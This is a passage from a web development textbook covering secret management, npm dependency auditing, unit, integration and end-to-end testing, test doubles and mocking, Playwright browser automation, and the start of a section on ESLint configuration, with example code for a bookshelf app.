| Platform environment variables | Hosting dashboard / CI settings | Small apps on a PaaS |
| Orchestrator secrets | Kubernetes Secrets, Docker secrets (mounted files) | Containerised deployments |
| Secret manager | HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, Azure Key Vault | Production, with auditing, access control and rotation |
| Short-lived dynamic credentials | Generated per workload (Vault database engine, cloud IAM roles, OIDC) | Mature setups: nothing long-lived to leak |
Local development with .env. Keep a committed .env.example that documents every variable with placeholder values, and a git-ignored .env with the real ones:
# .env.example (committed): documents the variables, never contains real values
NODE_ENV=development
PORT=3000
MONGODB_URI=mongodb://localhost:27017/bookshelf
REDIS_URL=redis://localhost:6379
JWT_SECRET=change-me-at-least-32-characters-long
CORS_ORIGINS=http://localhost:5173
# .gitignore
.env
.env.*
!.env.example
Node.js 20.6 and later can load the file without a library: node --env-file=.env src/server.js. In production, the platform sets real environment variables and no .env file exists.
Validate configuration at startup. A missing or malformed variable should stop the process immediately with a clear message, not cause a confusing failure at 3 a.m. when the first payment is attempted. The config module from 12.1, extended:
// src/config.js
import { z } from 'zod';
const Config = z.object({
NODE_ENV: z.enum(['development', 'test', 'production']).default('development'),
PORT: z.coerce.number().int().positive().default(3000),
MONGODB_URI: z.string().url(),
REDIS_URL: z.string().url(),
JWT_SECRET: z.string().min(32, 'JWT_SECRET must be at least 32 characters'),
CORS_ORIGINS: z.string().transform((s) => s.split(',').map((o) => o.trim())),
});
const parsed = Config.safeParse(process.env);
if (!parsed.success) {
// Print variable NAMES and problems, never the values
for (const issue of parsed.error.issues) console.error(`config: ${issue.path.join('.')}: ${issue.message}`);
process.exit(1);
}
export const config = Object.freeze(parsed.data);
Reading from a secret manager. In larger systems the app (or its deployment platform) fetches secrets at startup, authenticated by the workload's own identity rather than another stored password:
import { SecretsManagerClient, GetSecretValueCommand } from '@aws-sdk/client-secrets-manager';
// Credentials come from the IAM role attached to the container or function: no key in the environment
const client = new SecretsManagerClient({});
const { SecretString } = await client.send(new GetSecretValueCommand({ SecretId: 'bookshelf/prod/db' }));
const db = JSON.parse(SecretString); // { username, password, host }
Front-end code has no secrets. Everything in a browser bundle can be read by anyone. Vite only exposes variables prefixed with VITE_ to client code precisely to stop server secrets leaking by accident, but anything you do prefix ends up in public JavaScript. Calls that need a secret key (payments, AI APIs, e-mail) must go through your server.
Secure configuration beyond secrets.
| Setting | Secure choice |
|---|---|
NODE_ENV | production in production (Express then hides stack traces and enables view caching) |
| Error responses | Generic message and a request ID to the client; details only in logs (12.2) |
| Framework fingerprinting | Disable X-Powered-By |
| Default credentials | None: databases and admin panels require configured passwords |
| Database exposure | Bind to a private network; never expose MongoDB or Redis ports publicly |
| Least privilege | The app's DB user can read/write its own collections, not drop databases or manage users |
| Debug endpoints | Disabled or protected in production |
| TLS | Enforced (HSTS), with redirects from HTTP |
When a secret leaks. Deleting the commit is not enough; it may already be cloned or cached. The order is: revoke and rotate the secret first, then check access logs for misuse, then remove it from history if needed. Prevent leaks with secret scanners such as gitleaks or trufflehog in pre-commit hooks and CI, and enable your Git host's push protection, which rejects pushes containing recognised key formats.
Key Takeaways
- Keep secrets out of source code and Git history; inject them through the environment or a secret manager.
- Commit a
.env.example, git-ignore.env, and validate all configuration at startup, failing fast. - Prefer secret managers and short-lived, identity-based credentials in production; grant least privilege.
- Anything shipped to the browser is public.
- If a secret leaks, rotate it first, then investigate; scan for secrets automatically.
Practice
- (Beginner) Move every hard-coded credential in your bookshelf API into environment variables, create
.env.example, and verify withgit log -pthat no real secret was ever committed.- (Intermediate) Extend
config.jsso the app refuses to start in production ifJWT_SECRETequals the example value orCORS_ORIGINScontainslocalhost. Addgitleaksas a pre-commit hook and test it with a fake AWS key.- (Interview) "A developer accidentally pushed a production database password to a public repository and force-pushed to remove it ten minutes later. What do you do?" Hint: assume it was harvested; think about rotation order, access logs, and how to prevent it next time.
Dependency Vulnerabilities and Auditing
Why your dependencies are your attack surface. A typical Express or React project declares a few dozen packages but installs hundreds or thousands once transitive dependencies are counted. Most of the code that runs in your application was written by someone else. When a vulnerability is found in any of those packages, your application is vulnerable too, whether or not you have ever heard of the package. Section 11.2 introduced npm audit and supply chain risks; this section turns them into a repeatable process.
Two kinds of risk.
| Risk | Example | Defence |
|---|---|---|
| Known vulnerability | A prototype pollution bug in an old version of a utility library, published as a CVE | Detect with audit tools and update |
| Malicious package | A compromised maintainer account publishes a version that steals tokens in a postinstall script; a typo-squatted name such as expresss | Lockfiles, review of new dependencies, install-script restrictions, provenance |
Vocabulary. A vulnerability gets an identifier such as CVE-2024-12345 (Common Vulnerabilities and Exposures) or a GitHub Security Advisory ID (GHSA-xxxx). Its severity is scored with CVSS from 0 to 10 (low, moderate, high, critical). Advisories list the affected and patched version ranges, and tools compare them with your lockfile.
Auditing in practice.
npm audit # all known advisories in the installed tree
npm audit --omit=dev # only what ships to production
npm audit --omit=dev --audit-level=high # exit code 1 if anything high or critical: use in CI
npm audit fix # apply semver-compatible updates
npm ls minimist # which packages pull in a given dependency, and why
npm audit signatures # verify registry signatures and provenance attestations
Fixing a transitive vulnerability. Often the vulnerable package is several levels deep and its parent has not released an update. npm overrides force a patched version throughout the tree:
{
"dependencies": {
"express": "^5.1.0"
},
"overrides": {
"path-to-regexp": "^8.2.0"
}
}
Run your tests afterwards: an override can break the parent if the forced version is incompatible.
Triage: not every alert is an emergency. Ask three questions. Does the vulnerable code ship to production, or only run in a build tool? Is the vulnerable function reachable from your code with attacker-controlled input? Is there a patched version? A critical issue in an Express dependency on your request path is urgent; a ReDoS warning in a test-only tool that only reads your own files can wait for the next routine update (11.2). Record the decision when you accept a risk, so it is revisited.
Automate updates. Small, frequent updates are far easier than a yearly upgrade marathon. Dependabot (built into GitHub) and Renovate open pull requests when new versions or security fixes appear; your CI tests then tell you whether the update is safe to merge:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: npm
directory: /
schedule:
interval: weekly
groups:
dev-tooling: # one PR for all lint/test tooling updates
dependency-type: development
open-pull-requests-limit: 10
- package-ecosystem: docker # also keeps the Dockerfile base image current (17.3)
directory: /
schedule:
interval: weekly
Supply chain hygiene.
- Commit the lockfile and install with
npm ciin CI and Docker builds, so builds use exactly the reviewed versions. - Before adding a dependency, check its maintenance activity, download count, number of maintainers and transitive dependency count. Prefer the standard library when it suffices (
fetch,crypto.randomUUID,node:test). - Consider
npm ci --ignore-scriptsin CI, enabling only the packages whose install scripts you need. pnpm blocks dependency install scripts by default unless allowed. - Generate a Software Bill of Materials (
npm sbom --sbom-format cyclonedx) so you can answer "are we affected?" in minutes when a new advisory appears. - Scan container images too (Trivy, Grype, Docker Scout), because the base image's OS packages have their own vulnerabilities (17.3).
- Tools such as Snyk, Socket and OSV-Scanner add reachability analysis or behavioural detection of malicious packages.
Key Takeaways
- Most code in your app comes from dependencies; their vulnerabilities and compromises are yours.
- Audit continuously (
npm audit --omit=dev --audit-level=highin CI) and triage by reachability, exposure and fix availability. - Use
overridesfor transitive fixes and automate updates with Dependabot or Renovate, backed by tests. - Commit lockfiles, use
npm ci, restrict install scripts, vet new dependencies and keep an SBOM.
Practice
- (Beginner) Run
npm auditandnpm audit --omit=devon the bookshelf API and front end. For one advisory, find the CVE or GHSA page and explain which versions are affected and how it would be exploited.- (Intermediate) Add a CI step that fails on high or critical production vulnerabilities, configure Dependabot for npm and Docker, and resolve one transitive advisory with
overrides, running the test suite to confirm nothing broke.- (Interview) "
npm auditreports 37 vulnerabilities in our project. How do you decide what to fix first?" Hint: separate production from development dependencies, consider reachability and severity, and check whether patched versions exist.
<a id="172-testing-and-code-quality"></a>
17.2 Testing and Code Quality
Security protects the application from attackers; testing and tooling protect it from its own developers. Every change risks breaking something that used to work, and in a codebase that grows, nobody can check everything by hand. This subchapter covers the levels of automated testing, the frameworks and assertion libraries that run tests, how to replace HTTP services and databases in tests, and browser automation for end-to-end tests. It then turns to static tools that find problems without running the code (linters, formatters, type checkers and analysers), and ends with how to measure coverage and decide what to test.
Unit, Integration and End-to-End Testing
Why automate tests. A test is a small program that runs part of your application and checks the result. Once written, it runs in seconds, every time, for every change. That changes how a team works: you can refactor a middleware, upgrade Express or rewrite a React component and know within minutes whether you broke behaviour that users rely on. Without tests, fear of regressions slowly freezes a codebase.
An analogy: building inspections. You test each beam for strength (unit), check that floors are correctly bolted to walls (integration), and finally walk through the finished building opening every door and tap (end-to-end). Each inspection finds problems the others miss, and they have very different costs.
The three levels.
| Level | Scope | Dependencies | Speed | Finds | Breaks when |
|---|---|---|---|---|---|
| Unit | One function, class or component | Replaced by test doubles (or none, for pure functions) | Milliseconds | Logic errors, edge cases | The unit's behaviour changes |
| Integration | Several units together, or one unit plus real infrastructure | Real database, real HTTP stack; external services faked | Tens of ms to seconds | Wiring, queries, middleware order, serialisation | Contracts between parts change |
| End-to-end (E2E) | The whole system, through the UI | Real browser, deployed front end, API and database | Seconds per test | Broken user journeys, configuration, deployment issues | Almost anything changes |
Test pyramid and testing trophy. The classic test pyramid recommends many unit tests, fewer integration tests and very few E2E tests, because higher levels are slower, more brittle and harder to diagnose. Many web teams now prefer the testing trophy, which puts the bulk in integration tests: for an Express API or a React component, testing through the HTTP interface or the rendered DOM catches more real bugs per test than isolating every function.
Test pyramid Testing trophy
___
/\ few, slow / E2E \
/E2E\ _/_______\_
/------\ | | most value per
/ Integ \ |Integration| test for web apps
/----------\ |___________|
/ Unit \ many, fast \ Unit /
/--------------\ \____/
======Static====== (types, lint)
Both agree on the principle: write tests at the lowest level that can catch a given bug, and keep a few E2E tests for the critical journeys.
The same feature at three levels. Consider "a member can add a book with a valid ISBN-13".
// 1. UNIT: a pure function, no dependencies (src/isbn.js)
export function isValidIsbn13(isbn) {
const digits = isbn.replaceAll('-', '');
if (!/^\d{13}$/.test(digits)) return false;
const sum = [...digits].reduce((acc, d, i) => acc + Number(d) * (i % 2 === 0 ? 1 : 3), 0);
return sum % 10 === 0; // the checksum makes the total a multiple of 10
}
// test/isbn.test.js
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { isValidIsbn13 } from '../src/isbn.js';
test('accepts a valid ISBN-13 with hyphens', () => {
assert.equal(isValidIsbn13('978-0-13-475759-9'), true);
});
test('rejects a wrong check digit', () => {
assert.equal(isValidIsbn13('9780134757590'), false);
});
// 2. INTEGRATION: the Express app through HTTP, with an in-memory repository (12.3)
import request from 'supertest';
test('POST /api/v1/books rejects an invalid ISBN with 422', async () => {
const app = createApp({ bookRepository: createInMemoryBookRepository(), authenticate: fakeAuth('member') });
const res = await request(app)
.post('/api/v1/books')
.send({ title: 'Refactoring', isbn: '9780134757590' });
assert.equal(res.status, 422);
assert.match(res.body.errors[0].path, /isbn/);
});
// 3. END-TO-END: a real browser against the running stack (Playwright, later in this subchapter)
import { test, expect } from '@playwright/test';
test('member adds a book', async ({ page }) => {
await page.goto('/books/new');
await page.getByLabel('Title').fill('Refactoring');
await page.getByLabel('ISBN').fill('978-0-13-475759-9');
await page.getByRole('button', { name: 'Add book' }).click();
await expect(page.getByRole('heading', { name: 'Refactoring' })).toBeVisible();
});
Anatomy of a good test. Structure each test as Arrange, Act, Assert: set up the inputs, perform one action, check the outcome. Good tests are:
| Property | Meaning |
|---|---|
| Fast | Run in milliseconds to seconds so developers run them constantly |
| Isolated | Do not depend on other tests or on execution order; each sets up its own data |
| Repeatable | Same result every run: no real clock, random values or network unless controlled |
| Self-validating | Pass or fail automatically; no reading of logs by a human |
| Behaviour-focused | Check observable results (return values, responses, DOM), not private implementation details |
A test that sometimes passes and sometimes fails without code changes is flaky. Flaky tests are worse than no tests, because the team learns to ignore failures. Common causes are timing (setTimeout, animations), shared state between tests, real network calls and dependence on the current date.
Key Takeaways
- Unit tests check a single unit quickly; integration tests check that parts work together; E2E tests check user journeys through the real UI.
- Test each behaviour at the lowest level that can catch the bug, with a small set of E2E tests for critical flows.
- For web apps, integration tests through HTTP or the DOM often give the best value.
- Write fast, isolated, repeatable tests in Arrange-Act-Assert form that check behaviour, and fix or remove flaky tests quickly.
Practice
- (Beginner) Write unit tests for
isValidIsbn13covering valid, invalid-checksum, wrong-length, non-digit and empty inputs.- (Intermediate) For the "borrow a book" feature (a member can borrow at most three books; borrowed books cannot be borrowed again), list which behaviours you would test at the unit, integration and E2E levels, and implement the unit and integration tests.
- (Interview) "Our E2E suite takes 40 minutes and fails randomly. What would you do?" Hint: consider moving checks to lower levels, finding flakiness causes (waits, shared data), parallelism and running a smaller smoke suite on every commit.
Testing Frameworks and Assertion Libraries
Why a framework. You could test with plain if statements and console.log, but you would soon need to: discover test files, run each test in isolation, report which ones failed and why, run setup and teardown code, handle asynchronous tests, run tests in parallel, and re-run on file changes. A test runner (or framework) provides this structure; an assertion library provides readable checks that throw descriptive errors when expectations are not met.
The main options in JavaScript.
| Tool | Type | Strengths | Typical use |
|---|---|---|---|
node:test + node:assert | Built into Node.js (stable since 20) | No dependencies, fast, mocking and coverage included | Libraries and Node back ends (used in 12.3) |
| Jest | All-in-one runner, assertions, mocks, snapshots | Mature, huge ecosystem, jsdom built-in | React apps (used in 14.5), legacy projects |
| Vitest | Jest-compatible API on top of Vite | Very fast, native ESM and TypeScript, shares Vite config | Vite front ends, modern full-stack projects |
| Mocha + Chai | Runner + separate assertion library | Flexible, long history | Older Node projects |
| Playwright Test | Runner specialised for browsers | Parallel browsers, traces, fixtures | E2E (later in this subchapter) |
Common structure. All of them share the same vocabulary:
| Concept | Meaning |
|---|---|
describe / suite | Groups related tests |
it / test | One test case |
beforeEach / afterEach | Run before/after every test in the group (fresh state) |
beforeAll / afterAll (before/after in node:test) | Run once per group (expensive setup such as starting a database) |
.skip / .only / .todo | Exclude, focus on, or mark pending tests |
| Async tests | Return a promise or use async; the runner waits for it |
Assertion styles.
| Style | Example | Library |
|---|---|---|
| Assert (function calls) | assert.equal(total, 3) | node:assert, Chai assert |
| Expect (fluent matchers) | expect(total).toBe(3) | Jest, Vitest, Playwright |
| BDD chains | expect(total).to.equal(3) / total.should.equal(3) | Chai |
Choose equality carefully. toBe and assert.equal (in strict mode) compare with Object.is, so two separate objects with the same contents are not equal; use toEqual / assert.deepEqual for structural comparison. node:assert/strict makes equal strict (===-like) and avoids surprises such as '1' == 1.
The same tests in node:test and Vitest.
// node:test version: test/cart.test.js, run with `node --test`
import { describe, it, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { Cart } from '../src/cart.js';
describe('Cart', () => {
let cart;
beforeEach(() => { cart = new Cart(); }); // fresh cart: tests do not share state
it('sums line totals', () => {
cart.add({ isbn: '1', price: 1250 }, 2); // prices in cents to avoid float errors
assert.equal(cart.total(), 2500);
});
it('rejects negative quantities', () => {
assert.throws(() => cart.add({ isbn: '1', price: 1250 }, -1), /quantity/);
});
it('loads prices asynchronously', async () => {
await cart.addByIsbn('9780134757599', 1, async () => 4999); // injected price lookup
assert.deepEqual(cart.lines(), [{ isbn: '9780134757599', quantity: 1, price: 4999 }]);
});
});
// Vitest version: src/cart.test.js, run with `npx vitest`
import { describe, it, expect, beforeEach } from 'vitest';
import { Cart } from './cart.js';
describe('Cart', () => {
let cart;
beforeEach(() => { cart = new Cart(); });
it('sums line totals', () => {
cart.add({ isbn: '1', price: 1250 }, 2);
expect(cart.total()).toBe(2500);
});
it('rejects negative quantities', () => {
expect(() => cart.add({ isbn: '1', price: 1250 }, -1)).toThrow(/quantity/);
});
it('loads prices asynchronously', async () => {
await cart.addByIsbn('9780134757599', 1, async () => 4999);
expect(cart.lines()).toEqual([{ isbn: '9780134757599', quantity: 1, price: 4999 }]);
});
});
Configuration. Vitest reuses vite.config.js, so path aliases and plugins behave as in the app:
// vite.config.js
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
export default defineConfig({
plugins: [react()],
test: {
environment: 'jsdom', // DOM APIs for React component tests ('node' for back-end code)
setupFiles: ['./test/setup.js'], // e.g. import '@testing-library/jest-dom/vitest'
restoreMocks: true, // undo vi.spyOn after each test
coverage: { provider: 'v8', reporter: ['text', 'html'] },
},
});
{
"scripts": {
"test": "vitest run",
"test:watch": "vitest",
"test:api": "node --test --test-reporter=spec test/"
}
}
Useful features to know.
- Watch mode re-runs only tests affected by changed files.
- Parameterised tests run the same test over a table of inputs:
it.each([[...], [...]])('...', (input, expected) => ...)in Jest/Vitest, or a loop over cases innode:test. - Snapshot tests store a serialised output and compare future runs with it. They are cheap to write but easy to approve blindly; keep them small and focused.
- Fake timers (
vi.useFakeTimers(),jest.useFakeTimers(),mock.timers.enable()innode:test) controlsetTimeoutandDateso time-based code is tested deterministically.
Key Takeaways
- A test runner discovers, runs, isolates and reports tests; an assertion library expresses expectations with clear failure messages.
node:testsuits Node back ends with zero dependencies; Vitest suits Vite front ends and modern stacks; Jest remains common in existing React projects.- Use deep equality for objects and strict assertions to avoid coercion surprises.
- Use hooks for fresh state per test,
it.eachfor tables of cases and fake timers for time-dependent code.
Practice
- (Beginner) Write the
Cartclass and its tests innode:test. Make one test fail on purpose and read the failure message.- (Intermediate) Migrate the bookshelf React tests from Jest (14.5) to Vitest. Compare the run time and list every API change you needed (for example
jest.fntovi.fn).- (Interview) "What is the difference between
toBeandtoEqual, and when would each give a misleading result?" Hint: think about object identity versus structure, and aboutNaN,-0and class instances.
Mocking HTTP and Database Layers
Why replace dependencies in tests. Real dependencies make tests slow (network round trips, database start-up), non-deterministic (a third-party API is down, data changed) and sometimes impossible (you cannot make a payment provider return a timeout on demand, and you do not want to send real e-mails). A test double stands in for a real dependency so the test controls exactly what it returns.
An analogy: a stunt double. The film needs someone to fall off a roof, but you do not risk the lead actor. The double looks right from the camera's point of view, and that is all the scene needs.
Kinds of test doubles.
| Double | What it does | Example |
|---|---|---|
| Dummy | Passed but never used | A logger argument the code path never calls |
| Stub | Returns canned answers | getPrice always returns 4999 |
| Spy | Records how it was called (may call through to the real thing) | Check that mailer.send was called once with the user's address |
| Mock | Stub + spy with pre-programmed expectations | "Expect charge to be called with 2500, fail otherwise" |
| Fake | Simplified working implementation | In-memory repository instead of MongoDB (12.3) |
Dependency injection makes doubles easy. The createApp({ bookRepository, ... }) factory from 12.1 already lets tests pass in a fake repository. When code imports a dependency directly, frameworks can replace the module (vi.mock, jest.mock, mock.module in node:test), but injected dependencies are simpler, clearer and work across all tools.
Spies and stubs with Vitest.
import { it, expect, vi } from 'vitest';
import { registerUser } from '../src/users.js';
it('sends a welcome e-mail after registration', async () => {
const mailer = { send: vi.fn().mockResolvedValue({ id: 'msg-1' }) }; // stub + spy
const repo = { insert: vi.fn(async (u) => ({ ...u, id: 'u1' })) };
await registerUser({ email: 'ada@example.com' }, { repo, mailer });
expect(mailer.send).toHaveBeenCalledTimes(1);
expect(mailer.send).toHaveBeenCalledWith(expect.objectContaining({ to: 'ada@example.com' }));
});
it('still registers the user if the e-mail provider fails', async () => {
const mailer = { send: vi.fn().mockRejectedValue(new Error('SMTP timeout')) }; // simulate failure
const repo = { insert: vi.fn(async (u) => ({ ...u, id: 'u1' })) };
await expect(registerUser({ email: 'ada@example.com' }, { repo, mailer })).resolves.toMatchObject({ id: 'u1' });
});
Mocking HTTP at the network boundary. Instead of replacing fetch itself, intercept requests at the network level and return responses defined per test. Mock Service Worker (MSW) does this in both browsers (with a service worker) and Node.js (by intercepting fetch and http). The application code runs unchanged, including its real fetch calls, URL building and JSON parsing:
// test/msw.js: shared handlers
import { http, HttpResponse } from 'msw';
import { setupServer } from 'msw/node';
export const server = setupServer(
http.get('https://openlibrary.org/isbn/:isbn.json', ({ params }) =>
HttpResponse.json({ title: 'Refactoring', isbn_13: [params.isbn] })),
);
// test/setup.js (Vitest setupFiles)
import { beforeAll, afterEach, afterAll } from 'vitest';
import { server } from './msw.js';
beforeAll(() => server.listen({ onUnhandledRequest: 'error' })); // fail on any unexpected real request
afterEach(() => server.resetHandlers()); // drop per-test overrides
afterAll(() => server.close());
// src/lookup.test.js
import { it, expect } from 'vitest';
import { http, HttpResponse } from 'msw';
import { server } from '../test/msw.js';
import { lookupTitle } from './lookup.js';
it('returns the title from Open Library', async () => {
expect(await lookupTitle('9780134757599')).toBe('Refactoring');
});
it('returns null when the service is unavailable', async () => {
server.use(http.get('https://openlibrary.org/isbn/:isbn.json', () => new HttpResponse(null, { status: 503 })));
expect(await lookupTitle('9780134757599')).toBeNull();
});
Other options: nock intercepts Node's http module, and undici's MockAgent intercepts Node's built-in fetch.
Database layers: fake, embedded or real.
| Approach | How | Pros | Cons |
|---|---|---|---|
| Fake repository | In-memory implementation of the repository interface (12.3) | Instant, no setup | Does not test queries, indexes or constraints |
| Embedded test server | mongodb-memory-server downloads and starts a real mongod (13.2) | Real query engine, no Docker | MongoDB-specific; first run downloads binaries |
| Containers per test run | Testcontainers starts a real PostgreSQL, MongoDB or Redis in Docker | Same engine and version as production | Needs Docker; seconds to start |
| Shared test database | A dedicated database on a server | Simple | Tests interfere with each other; slower; risky |
Use fakes for service and route tests, and real databases (embedded or Testcontainers) for repository tests that check the queries themselves:
// test/book-repository.int.test.js
import { before, after, beforeEach, test } from 'node:test';
import assert from 'node:assert/strict';
import { MongoDBContainer } from '@testcontainers/mongodb';
import { MongoClient } from 'mongodb';
import { createMongoBookRepository } from '../src/repositories/mongo-books.js';
let container, client, repo;
before(async () => {
container = await new MongoDBContainer('mongo:8').start(); // same major version as production
client = await MongoClient.connect(container.getConnectionString(), { directConnection: true });
repo = await createMongoBookRepository(client.db('test')); // also creates indexes
});
beforeEach(async () => { await client.db('test').collection('books').deleteMany({}); }); // clean state per test
after(async () => {
await client?.close();
await container?.stop();
});
test('rejects a duplicate ISBN through the unique index', async () => {
await repo.insert({ title: 'A', isbn: '9780134757599' });
await assert.rejects(repo.insert({ title: 'B', isbn: '9780134757599' }), { code: 11000 });
});
Pitfalls.
- Over-mocking: if every collaborator is a mock, the test only checks that the code calls what it calls. Refactoring breaks the test while real bugs pass.
- Mocking what you do not own: a hand-written mock of a third-party API encodes your assumptions about it. Wrap the third-party client in your own small adapter, mock the adapter in unit tests, and test the adapter against the real service (or its sandbox) separately. Contract tests (for example with Pact) check that the mock and the real provider agree.
- Leaking doubles between tests: always reset handlers and restore spies after each test (
restoreMocks,server.resetHandlers()).
Key Takeaways
- Test doubles (dummies, stubs, spies, mocks, fakes) replace slow, unreliable or uncontrollable dependencies so tests are fast and deterministic.
- Inject dependencies so tests can pass doubles without module-mocking tricks.
- Mock HTTP at the network boundary with MSW (or nock/MockAgent), and make unexpected requests fail the test.
- Use fakes for logic tests and real databases (mongodb-memory-server, Testcontainers) for query tests.
- Avoid over-mocking and mocking third-party APIs directly; wrap them in adapters.
Practice
- (Beginner) Write
lookupTitle(isbn)usingfetchagainst Open Library and test it with MSW for success, 404 and network error (HttpResponse.error()).- (Intermediate) Write repository tests for the bookshelf MongoDB repository with Testcontainers or
mongodb-memory-server, covering pagination, the unique ISBN index and text search, while keeping route tests on the in-memory fake.- (Interview) "What is the difference between a stub, a mock and a fake? When would you prefer a fake?" Hint: consider whether the double has behaviour of its own, whether it verifies interactions, and how brittle the resulting tests are under refactoring.
Browser Automation Tools
Why automate a real browser. Unit and integration tests run in Node.js, sometimes with a simulated DOM (jsdom). They cannot tell you that the CSS hides the "Add book" button on mobile, that the login cookie is not set because of a SameSite mistake, that the production bundle fails to load, or that the real browser blocks a script because of CSP. Browser automation drives a real browser (clicking, typing, navigating) like a user would, so end-to-end tests cover the whole system as deployed.
How automation works. Tools talk to the browser through a remote-control protocol:
| Protocol | Description | Used by |
|---|---|---|
| WebDriver (W3C standard) | HTTP-based protocol, one command per request | Selenium, WebdriverIO |
| Chrome DevTools Protocol (CDP) | WebSocket protocol behind Chrome DevTools; fast and powerful, Chromium-specific | Puppeteer, Playwright (Chromium) |
| WebDriver BiDi | New W3C bidirectional standard combining WebDriver's portability with CDP-style events | Selenium 4+, Puppeteer, WebdriverIO |
| In-browser execution | Test code runs inside the page's own event loop | Cypress |
The main tools.
| Tool | Browsers | Languages | Strengths | Limitations |
|---|---|---|---|---|
| Selenium | All major, including real mobile via Appium | Java, Python, C#, JS, Ruby | Standard, huge ecosystem, Selenium Grid | More boilerplate; explicit waits needed |
| Puppeteer | Chrome, Firefox | JavaScript | Simple API, great for scraping, PDFs, screenshots | Not a test runner; limited cross-browser |
| Playwright | Chromium, Firefox, WebKit | JS/TS, Python, Java, .NET | Auto-waiting, parallelism, multiple tabs and origins, trace viewer, codegen | Uses patched browser builds for some engines |
| Cypress | Chromium family, Firefox, WebKit (experimental) | JavaScript | Excellent interactive runner, time-travel debugging | Runs in the browser: multi-tab and multi-origin flows are harder |
For new JavaScript projects, Playwright is the common default; Cypress is widespread in existing front-end teams.
A Playwright setup for the bookshelf app.
// playwright.config.js
import { defineConfig, devices } from '@playwright/test';
export default defineConfig({
testDir: './e2e',
fullyParallel: true,
retries: process.env.CI ? 2 : 0, // retries hide flakiness: report them, do not rely on them
use: {
baseURL: process.env.E2E_BASE_URL ?? 'http://localhost:4173',
trace: 'on-first-retry', // records DOM snapshots, network and console for debugging
},
projects: [
{ name: 'setup', testMatch: /auth\.setup\.js/ },
{ name: 'chromium', use: { ...devices['Desktop Chrome'], storageState: 'e2e/.auth/member.json' }, dependencies: ['setup'] },
{ name: 'mobile', use: { ...devices['Pixel 7'], storageState: 'e2e/.auth/member.json' }, dependencies: ['setup'] },
],
webServer: { command: 'npm run preview', url: 'http://localhost:4173', reuseExistingServer: !process.env.CI },
});
// e2e/auth.setup.js: log in once, save cookies, reuse them in every test
import { test as setup, expect } from '@playwright/test';
setup('log in as member', async ({ page }) => {
await page.goto('/login');
await page.getByLabel('E-mail').fill('member@bookshelf.test');
await page.getByLabel('Password').fill(process.env.E2E_PASSWORD);
await page.getByRole('button', { name: 'Sign in' }).click();
await expect(page.getByRole('link', { name: 'My lists' })).toBeVisible();
await page.context().storageState({ path: 'e2e/.auth/member.json' }); // reused by the projects above
});
// e2e/reading-list.spec.js
import { test, expect } from '@playwright/test';
test('member adds a book to a reading list', async ({ page }) => {
await page.goto('/books');
await page.getByRole('searchbox', { name: 'Search books' }).fill('Refactoring');
const card = page.getByRole('article').filter({ hasText: 'Refactoring' }); // scope to one result
await card.getByRole('button', { name: 'Add to list' }).click();
await page.getByRole('menuitem', { name: 'Summer reading' }).click();
await expect(page.getByRole('status')).toHaveText('Added to Summer reading'); // auto-waits up to the timeout
await page.goto('/lists/summer-reading');
await expect(page.getByRole('listitem')).toContainText(['Refactoring']);
});
Writing stable E2E tests.
| Practice | Why |
|---|---|
Locate by role, label or text (getByRole, getByLabel) | Mirrors how users and assistive technology see the page; survives CSS refactors |
Use data-testid only when no accessible locator exists | Explicit and stable, but invisible to users |
Never use fixed sleeps (waitForTimeout(2000)) | Too short is flaky, too long is slow; rely on auto-waiting assertions |
| Create test data through the API, not the UI | Faster and independent of unrelated screens |
| Isolate data per test (unique names, per-worker accounts) | Parallel tests must not collide |
| Reuse login state | Logging in through the UI in every test wastes time |
| Group page interactions in Page Objects for large suites | One place to update when a screen changes |
Beyond functional checks. The same tools support visual regression (await expect(page).toHaveScreenshot()), accessibility scanning with @axe-core/playwright, network interception (page.route) to simulate API failures, and Lighthouse runs for performance (15.2, 17.3).
Key Takeaways
- Browser automation tests the deployed system in real browsers and catches problems no Node-based test can see.
- Selenium (WebDriver) is the cross-language standard; Puppeteer drives Chromium via CDP; Playwright adds a full test runner, cross-engine support and auto-waiting; Cypress runs inside the browser.
- Prefer role- and label-based locators, auto-waiting assertions, API-created data and reused login state.
- Keep E2E suites small and focused on critical journeys; use traces to debug failures.
Practice
- (Beginner) Run
npx playwright codegen http://localhost:5173, record a search on the bookshelf front end, and rewrite the generated code to use role-based locators and assertions.- (Intermediate) Write an E2E suite for login, adding a book and deleting a book, with login state reused through a setup project, running in Chromium and a mobile viewport. Add an axe accessibility check to the book page.
- (Interview) "Why do E2E tests become flaky, and how does auto-waiting help?" Hint: consider asynchronous rendering, network latency, animations and the difference between checking once and retrying until a condition holds or a timeout expires.
Linting, Formatting and Static Analysis
Why analyse code without running it. Tests only check the paths you thought to test. Static analysis examines source code without executing it, and finds whole classes of problems everywhere at once: an unused variable that hides a typo, a forgotten await, a call to a function with the wrong argument type, a == that should be ===, a SQL string built from user input. It also settles stylistic debates automatically, so code reviews can focus on design and behaviour.
An analogy: a spell checker and grammar checker for code. They will not tell you whether your essay's argument is good (that is what tests and reviews do), but they catch mistakes instantly and consistently.
Four kinds of static tools.
| Tool type | Question it answers | JavaScript examples |
|---|---|---|
| Formatter | How should the code look? (whitespace, quotes, line breaks) | Prettier, Biome, dprint |
| Linter | Does the code follow rules that prevent bugs and enforce conventions? | ESLint, Biome, oxlint |
| Type checker | Are values used consistently with their types? | TypeScript (tsc --noEmit, Chapter 9) |
| Security analyser (SAST) | Can untrusted data flow into a dangerous sink? | CodeQL, Semgrep, SonarQube |
Keep formatting and linting separate: let the formatter own layout and the linter own correctness, and disable linter style rules that conflict with the formatter (eslint-config-prettier).
ESLint with the flat config. ESLint 9 and later use a single eslint.config.js that exports an array of configuration objects, applied in order:
// eslint.config.js
import js from '@eslint/js';
import tseslint from 'typescript-eslint';
import react from 'eslint-plugin-react';
import reactHooks from 'eslint-plugin-react-hooks';
import globals from 'globals';
import prettier from 'eslint-config-prettier';
export default tseslint.config(
{ ignores: ['dist/', 'coverage/', 'playwright-report/'] },
js.configs.recommended, // core bug-catching rules
...tseslint.configs.recommendedTypeChecked, // rules that use type information
{
languageOptions: {
parserOptions: { projectService: true }, // let typescript-eslint find the tsconfig
},
rules: {
eqeqeq: ['error', 'always'],
'no-console': ['warn', { allow: ['warn', 'error'] }],
'@typescript-eslint/no-floating-promises': 'error', // catches a forgotten await
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_' }],
},
},
{
